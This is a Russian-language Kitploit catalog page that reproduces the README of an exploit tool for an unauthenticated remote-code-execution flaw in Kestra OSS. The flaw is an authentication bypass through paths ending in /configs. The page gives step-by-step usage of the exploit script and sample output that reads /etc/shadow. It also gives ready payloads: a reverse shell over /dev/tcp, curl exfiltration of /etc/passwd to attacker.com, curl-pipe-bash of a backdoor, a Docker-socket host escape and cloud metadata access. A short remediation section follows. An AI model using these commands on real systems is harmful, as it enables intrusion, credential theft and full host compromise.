Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-53576 — Kestra Unauthenticated RCE Exploit (CVE-2026-53576) | Kitploit
Инструменты/GitHubGitHub/tamatahyt/cve-2026-53576
Аутентификация и авторизацияПовышение привилегийЭксплуатацияЭксплуатация веб-приложенийЭксфильтрация данныхПост-эксплуатацияТестирование на ПроникновениеRed TeamingРазработка Полезной НагрузкиПобег из Контейнера
GitHub
252 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
tamatahyt/cve-2026-53576

CVE-2026-53576

Kestra Unauthenticated RCE Exploit (CVE-2026-53576)

Репозиторий

Эксплойт неавторизованного RCE в Kestra (CVE-2026-53576)

Python License Security Kestra

Критический обход аутентификации, ведущий к неавторизованному удалённому выполнению кода

Эксплойт • Детали уязвимости • Воздействие • Устранение


⚠️ ОТКАЗ ОТ ОТВЕТСТВЕННОСТИ

Этот инструмент предназначен только для образовательных целей и авторизованного тестирования безопасности.

  • НЕ ИСПОЛЬЗУЙТЕ его против систем, которыми вы не владеете или на тестирование которых у вас нет явного письменного разрешения.
  • НЕ ИСПОЛЬЗУЙТЕ его для незаконной деятельности.
  • Автор НЕ несёт ответственности за любое неправомерное использование этого инструмента.
  • Используйте на СВОЙ СТРАХ И РИСК.

📋 Оглавление

  • Обзор
  • Детали уязвимости
  • Использование эксплойта
  • Установка
  • Примеры
  • Воздействие
  • Устранение
  • Хронология
  • Ссылки
  • Лицензия

🔍 Обзор

CVE-2026-53576 — критическая уязвимость в Kestra OSS версиях до v1.3.20, которая позволяет неавторизованное удалённое выполнение кода через обход фильтра аутентификации.

Ключевые детали

ПараметрЗначение
Идентификатор CVECVE-2026-53576
КритичностьКритическая (9.8 CVSS)
Тип уязвимостиОбход аутентификации + RCE
Затронутый продуктKestra OSS
Затронутые версии≤ v1.3.20
Вектор атакиСеть
Требуется аутентификацияНет
Взаимодействие с пользователемНет

🚨 Детали уязвимости

Первопричина

Фильтр аутентификации в Kestra содержит критический логический изъян:

// Vulnerable code in AuthenticationFilter.java:53
boolean isConfigEndpoint = request.getPath().endsWith("/configs")

Этот код проверяет, заканчивается ли любой API-запрос на /configs, вместо сопоставления с точным маршрутом. Это позволяет злоумышленникам обойти аутентификацию, добавляя /configs к любому эндпоинту.

Шаги эксплуатации

  1. Создать вредоносный flow → POST /api/v1/main/flows/configs (обходит аутентификацию)
  2. Запустить выполнение → POST /api/v1/main/executions/configs/configs (обходит аутентификацию)
  3. Команды выполняются от имени root → Полная компрометация системы

Уязвимые эндпоинты

# Any path ending in /configs bypasses authentication
/api/v1/main/flows/configs          # Create flows
/api/v1/main/executions/configs/configs  # Execute flows
/api/v1/{tenant}/flows/configs      # Any tenant
/api/v1/{tenant}/executions/configs/configs  # Any tenant

💻 Использование эксплойта

Базовое использование

python3 kestra_exploit.py <target_ip>

Расширенное использование

# Custom port
python3 kestra_exploit.py 192.168.1.100 -p 8080

# HTTPS
python3 kestra_exploit.py 192.168.1.100 --https

# Custom command
python3 kestra_exploit.py 192.168.1.100 -c "whoami && hostname"

# Check Docker socket access
python3 kestra_exploit.py 192.168.1.100 --docker-check

# Clean up after exploitation
python3 kestra_exploit.py 192.168.1.100 --cleanup

# Full attack with all options
python3 kestra_exploit.py 192.168.1.100 -p 8080 --docker-check --cleanup -c "id > /tmp/proof.txt"

Параметры командной строки

ОпцияОписание
targetIP-адрес или имя хоста цели (обязательно)
-p, --portПорт (по умолчанию: 8080)
--httpsИспользовать HTTPS вместо HTTP
-c, --commandПользовательская команда для выполнения
--docker-checkПроверить доступ к Docker socket
--cleanupУдалить flow после эксплуатации
--delayЗадержка между запросами (по умолчанию: 2 с)

📦 Установка

Требования

pip install requests

Клонирование репозитория

git clone https://github.com/yourusername/CVE-2026-53576
cd CVE-2026-53576

Проверка установки

python3 kestra_exploit.py --help

🎯 Примеры

Пример 1: Базовая эксплуатация

python3 kestra_exploit.py 192.168.1.100

Вывод:

============================================================
Kestra Unauthenticated RCE Exploit
Security Research Tool - Authorized Use Only!
============================================================
[*] Target: 192.168.1.100:8080
[*] Protocol: http
============================================================

[Step 1] Creating malicious flow...
[*] Creating malicious flow at http://192.168.1.100:8080/api/v1/main/flows/configs
[*] Command: id > /tmp/proof.txt; cat /etc/shadow | head -1 >> /tmp/proof.txt
[+] Flow created successfully! (Status: 200)
[+] Flow revision: 26

[Step 2] Triggering execution...
[*] Triggering execution at http://192.168.1.100:8080/api/v1/main/executions/configs/configs
[+] Execution triggered successfully!
[+] Execution ID: 4nxNTHPk2WInfrnxQa6KF2
[+] Status: CREATED

[Step 3] Checking execution status...
[+] Execution status: SUCCESS
[*] Final status: SUCCESS

[+] Exploitation complete!
[*] To verify the attack succeeded, check the target system for:
    - /tmp/proof.txt containing command output
    - Kestra UI execution logs
    - Web UI: http://192.168.1.100:8080/ui/

Пример 2: Реверс-шелл

python3 kestra_exploit.py 192.168.1.100 -c "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1"

Пример 3: Эксфильтрация данных

python3 kestra_exploit.py 192.168.1.100 -c "curl -X POST http://attacker.com/exfil -d @/etc/passwd"

Пример 4: Проверка выхода из Docker

python3 kestra_exploit.py 192.168.1.100 --docker-check --cleanup

💥 Воздействие

Непосредственное воздействие

КатегорияКритичностьОписание
Конфиденциальность⚠️ КритическаяЧтение любых файлов (пароли, секреты, конфигурации)
Целостность⚠️ КритическаяСоздание/изменение/удаление flows и данных
Доступность⚠️ ВысокаяОстановка системы, истощение ресурсов
Аутентификация⚠️ КритическаяПолный обход Basic-Auth
Повышение привилегий⚠️ КритическаяКоманды выполняются от имени root (uid=0)
Побег из контейнера⚠️ КритическаяКомпрометация хоста через Docker socket

Возможности атаки

Неавторизованный злоумышленник может:

  1. Выполнять произвольные команды от имени root:

    # Read secrets
    cat /app/conf/application.yml
    
    # Reverse shell
    bash -i >& /dev/tcp/attacker.com/4444 0>&1
    
    # Install malware
    curl http://attacker.com/backdoor.sh | bash
    
  2. Перейти на хост-систему (если смонтирован Docker socket):

    docker run -v /:/host --privileged alpine chroot /host
    
  3. Получить доступ к метаданным облака (при размещении у облачного провайдера):

    curl http://169.254.169.254/latest/meta-data/
    

🛡️ Устранение

Немедленные действия

  1. Остановите уязвимые экземпляры:

    sudo systemctl stop kestra
    
  2. Заблокируйте публичный доступ:

    iptables -A INPUT -p tcp --dport 8080 -j DROP
    
  3. Примените правила межсетевого экрана:

    • Ограничьте доступ внутренними сетями
    • Используйте VPN для административного доступа

Постоянное исправление

  1. Обновите Kestra до последней исправленной версии:
    • Мониторинг: https://github.com/kestra-io/kestra
    • Проверка: https://github.com/kestra-io/kestra/security/advisories/GHSA-2q47-568g-9h4f
Скачать инструмент